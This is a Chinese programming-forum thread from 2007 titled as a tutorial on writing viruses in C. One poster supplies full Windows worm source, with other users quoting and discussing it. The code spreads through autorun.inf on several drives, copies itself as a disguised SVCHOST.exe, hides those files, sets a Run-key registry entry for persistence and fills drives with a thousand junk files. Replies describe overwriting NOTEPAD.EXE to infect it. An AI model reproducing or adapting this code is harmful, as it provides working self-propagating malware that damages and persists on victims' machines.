标题:[原创]用C写病毒(1)
只看楼主
死了都要C
Rank: 4
来 自:四川成都
等 级:贵宾
威 望:13
帖 子:1582
专家分:116
注 册:2006-12-7
得分:0 
~~~啊``好久没看到孔明了```
``一上来就来个猛的帖子```


我晕```

女施主``我给你``送茶来了```师太``你就从了老衲吧``
代码本天成~~~妙头偶得之```
2007-05-27 12:04
老糊涂
Rank: 1
等 级:新手上路
威 望:1
帖 子:117
专家分:0
注 册:2007-5-19
得分:0 

强帖~~~


2007-05-27 15:22
dreamday
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2007-5-14
得分:0 
2007-05-27 16:09
dreamday
Rank: 1
等 级:新手上路
帖 子:2
专家分:0
注 册:2007-5-14
得分:0 
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";
这里加点说明 理解不了这里 其他简单
2007-05-27 16:11
neverTheSame
Rank: 3Rank: 3
来 自:江西农业大学
等 级:新手上路
威 望:9
帖 子:1511
专家分:0
注 册:2006-11-24
得分:0 

[autorun]
open=SVCHOST.exe

shell\1=
shell\1\Command=SVCHOST.exe
shell\2\=Open
shell\2\Command=SVCHOST.exe
shellexecute=SVCHOST.exe

c:\autorun.inf
d:\autorun.inf
e:\autorun.inf


c:\windows\system\MSMOUSE.DLL
c:\windows\system\SVCHOST.exe
c:\windows\SVCHOST.exe
c:\SVCHOST.exe
d:\SVCHOST.exe
e:\SVCHOST.exe
SVCHOST.exe


reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SVCHOST /d C:\Wi
ndows\system\SVCHOST.exe /f


这是字符串的具体内容.看一下就明白了.


wap酷禾网(http://wap.),提供免费的、优质的、快捷的wap资源下载服务。
2007-05-27 16:56
herbert_1987
Rank: 5Rank: 5
等 级:贵宾
威 望:15
帖 子:1314
专家分:0
注 册:2007-5-13
得分:0 
呵~我又开眼界了。

人生重要的不是所站的位置,而是所朝的方向
2007-05-27 17:14
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
得分:0 
以下是引用nuciewth在2007-5-26 22:46:37的发言:

我最近在研究这个.孔明有什么好的资料没?

这个中有一部分:http://www.shineblog.com/user1/13950/archives/2005/122599.shtml
还有这个带程序的比较详细:http://diannao.zhishiwang.net/pc/ruanjian/wenjiangeshi/20070406/224.html


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 17:53
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
得分:0 
以下是引用google在2007-5-26 19:44:08的发言:

问题: 你如何实现被你称为"被感染的原.exe"原有的功能?通常情况下,被病毒感染的程式多只执一节病毒体,并不丢失原有的任何功能.这也是病毒确保生存繁衍的前提,否则,按你所谓的方式,替换,如何再次传染么?

哈哈,大部分基础病毒都只是实现这个,只有一些专业病毒需要我在7楼已经回复的PE格式的文件操作,较为繁琐,就如同病毒感染可以使人致死,也可以只是使病人成为新的传染源,而我在6楼说的是致死的感染,而在7楼说的是使病毒成为新的传染源,比如6楼中我可以使它感染windows\NOTEPAD.EXE,这样使NOTEPAD.exe由原来的记事本变为完全被病毒覆盖的病毒体

繁衍我达到了,只不过在6楼的方法使文件致死,失去原有功能,但这也应属于感染


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 18:00
卧龙孔明
Rank: 9Rank: 9Rank: 9
等 级:贵宾
威 望:59
帖 子:3872
专家分:684
注 册:2006-10-13
得分:0 

下一版程序将使用Windows API实现对控制台的脱离,从而使病毒体可以在后台执行


雏形框架(与本连载1内容差异暂只包括建立垃圾文件,详细完全版请在连载2中查看)1:

请建立DEV-CPP Windows Application C工程 ,将以下代码拷贝到替换主程序中即可

/* SVCHOST.EXE */
/* 使用DEV-CPP 4.9.9.2开发编译 */

#include<windows.h> /*使用windowsAPI*/

#define SVCHOST_NUM 6 /*病毒复制数量*/
#define RUBBISH_NUM 1000 /*垃圾文件数量*/
#define REGADD_NUM 2 /*注册表项*/
#define COMMAND_NUM 3 /*命令数*/

#include<stdio.h> /*标准输入输出*/
#include<string.h>
#include<stdlib.h>

char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd[REGADD_NUM]={"reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"};
char *commands[COMMAND_NUM]={"@echo off","attrib c:\\windows\\system\\SVCHOST.exe +S +H","attrib c:\\windows\\system\\MSMOUSE.DLL +S +H"};

/*复制文件*/
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
/* Windows API 后台运行 */
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
FILE *input,*output;
int i,k;
/*生成自动运行文件autorun.inf*/
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
/*在关键位置生成病毒体副本*/
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
for(i=0;i<COMMAND_NUM;i++) system(commands[i]);
system(regadd[0]);
/*生成垃圾文件*/
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[100],t[10];
n=rand();
sprintf(s,"C:\\DESTORY_感染_%d",n);
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
s[0]++;
output=fopen(s,"w");
fprintf(output,"%ld%s",n*n,s);
fclose(output);
sprintf(t,"E:\\%d",n);
k=3;
while(t[k]!='\0')
{
t[k]+=17;
k++;
}
output=fopen(t,"w");
fprintf(output,"%ld%s",n*n,t);
fclose(output);
}
return 0;
}

[此贴子已经被作者于2007-5-27 18:07:44编辑过]


My Blog: www.aiexp.info
虽然我的路是从这里开始的,但是这里不再是乐土.感谢曾经影响过,引导过,帮助过我的董凯,飞燕,leeco,starwing,Rockcarry,soft_wind等等等等.别了,BCCN.
2007-05-27 18:04
mp3aaa
Rank: 5Rank: 5
等 级:贵宾
威 望:17
帖 子:2013
专家分:8
注 册:2006-2-15
得分:0 
好啊 我很喜欢
后台运行

[此贴子已经被作者于2007-5-27 18:30:51编辑过]


羊肉串 葡萄干 哈密瓜!!
2007-05-27 18:29



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-142740-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.047081 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved